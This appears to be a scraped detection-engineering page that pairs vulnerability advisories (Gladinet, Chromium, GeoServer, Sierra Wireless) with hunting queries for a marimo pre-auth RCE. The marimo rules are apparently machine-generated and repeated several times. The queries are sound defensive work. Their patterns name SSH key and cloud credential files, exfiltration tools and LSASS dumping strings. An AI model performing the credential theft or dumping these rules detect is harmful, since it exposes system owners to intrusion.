| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2025-12-154 use cases0 techniques3 kill-chain phases detected
Gladinet CentreStack and TrioFox contain a hardcoded cryptographic keys vulnerability for their implementation of the AES cryptoscheme. This vulnerability degrades security for public exposed endpoints that may make use of it and may offer arbitrary local file inclusion when provided a specially crafted request without authentication. Vendor: Gladinet, Product: CentreStack and Triofox. Federal patch due: 2026-01-05.
CVEsCVE-2025-14611
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2025-14611")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2025-14611")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2025-12-124 use cases0 techniques3 kill-chain phases detected
Sierra Wireless AirLink ALEOS contains an unrestricted upload of file with dangerous type vulnerability. A specially crafted HTTP request can upload a file, resulting in executable code being uploaded, and routable, to the webserver. An attacker can make an authenticated HTTP request to trigger this vulnerability. The impacted product could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization. Vendor: Sierra Wireless, Product: AirLink ALEOS. Federal patch due: 2026-01-02.
CVEsCVE-2018-4063
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2018-4063")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2018-4063")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2025-12-124 use cases0 techniques3 kill-chain phases detected
Google Chromium contains an out of bounds memory access vulnerability in ANGLE that could allow a remote attacker to perform out of bounds memory access via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera. Vendor: Google, Product: Chromium. Federal patch due: 2026-01-02.
CVEsCVE-2025-14174
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2025-14174")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2025-14174")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code.
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key.
Command & Control. Beacon to attacker infrastructure for control and tasking.
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Ransomware-style mass file rename / extension change · LSASS process access / dump (credential theft) · Remote service execution — PsExec / SMB lateral movement
Ransomware-style mass file rename / extension changeActions on ObjectivesMedium
Threshold detection: many files renamed in short window, often with new extension.
ATT&CKT1486
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(1d)
| where ActionType in ("FileRenamed","FileModified")
| summarize files = dcount(FileName) by DeviceName, AccountName, bin(Timestamp, 1m)
| where files > 200
| order by files desc
| tstats `summariesonly` count, dc(Filesystem.file_name) AS files
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("modified","renamed")
by Filesystem.dest, Filesystem.user, _time span=1m
| `drop_dm_object_name(Filesystem)`
| where files > 200
| sort - files
LSASS process access / dump (credential theft)Actions on ObjectivesHigh
Mimikatz, comsvcs.dll MiniDump, or any non-Windows process opening LSASS.
ATT&CKT1003.001T1003
Data sourcesEndpoint.ProcessesDeviceEvents
DeviceEvents
| where Timestamp > ago(7d)
| where ActionType == "OpenProcessApiCall"
| where FileName =~ "lsass.exe"
| where InitiatingProcessFileName !in~ ("MsSense.exe","MsMpEng.exe","csrss.exe",
"svchost.exe","wininit.exe","services.exe",
"lsm.exe","SearchProtocolHost.exe")
| project Timestamp, DeviceName, ActionType, FileName,
InitiatingProcessFileName, InitiatingProcessCommandLine,
InitiatingProcessFolderPath, AccountName
| order by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where (Processes.process="*lsass*" OR Processes.process="*sekurlsa*"
OR Processes.process="*MiniDump*" OR Processes.process="*comsvcs.dll*MiniDump*"
OR Processes.process="*procdump*lsass*")
OR (Processes.process_name="rundll32.exe" AND Processes.process="*comsvcs*MiniDump*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Remote service execution — PsExec / SMB lateral movementActions on ObjectivesHigh
psexec / paexec / smbexec / wmic /node — service install over SMB from remote host.
ATT&CKT1021.002T1569.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
or (FileName =~ "wmic.exe" and ProcessCommandLine has "/node:")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
OR (Processes.process_name="wmic.exe" AND Processes.process="*/node:*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
2025-12-114 use cases0 techniques3 kill-chain phases detected
OSGeo GeoServer contains an improper restriction of XML external entity reference vulnerability that occurs when the application accepts XML input through a specific endpoint /geoserver/wms operation GetMap and could allow an attacker to define external entities within the XML request. Vendor: OSGeo, Product: GeoServer. Federal patch due: 2026-01-01.
CVEsCVE-2025-58360
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2025-58360")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
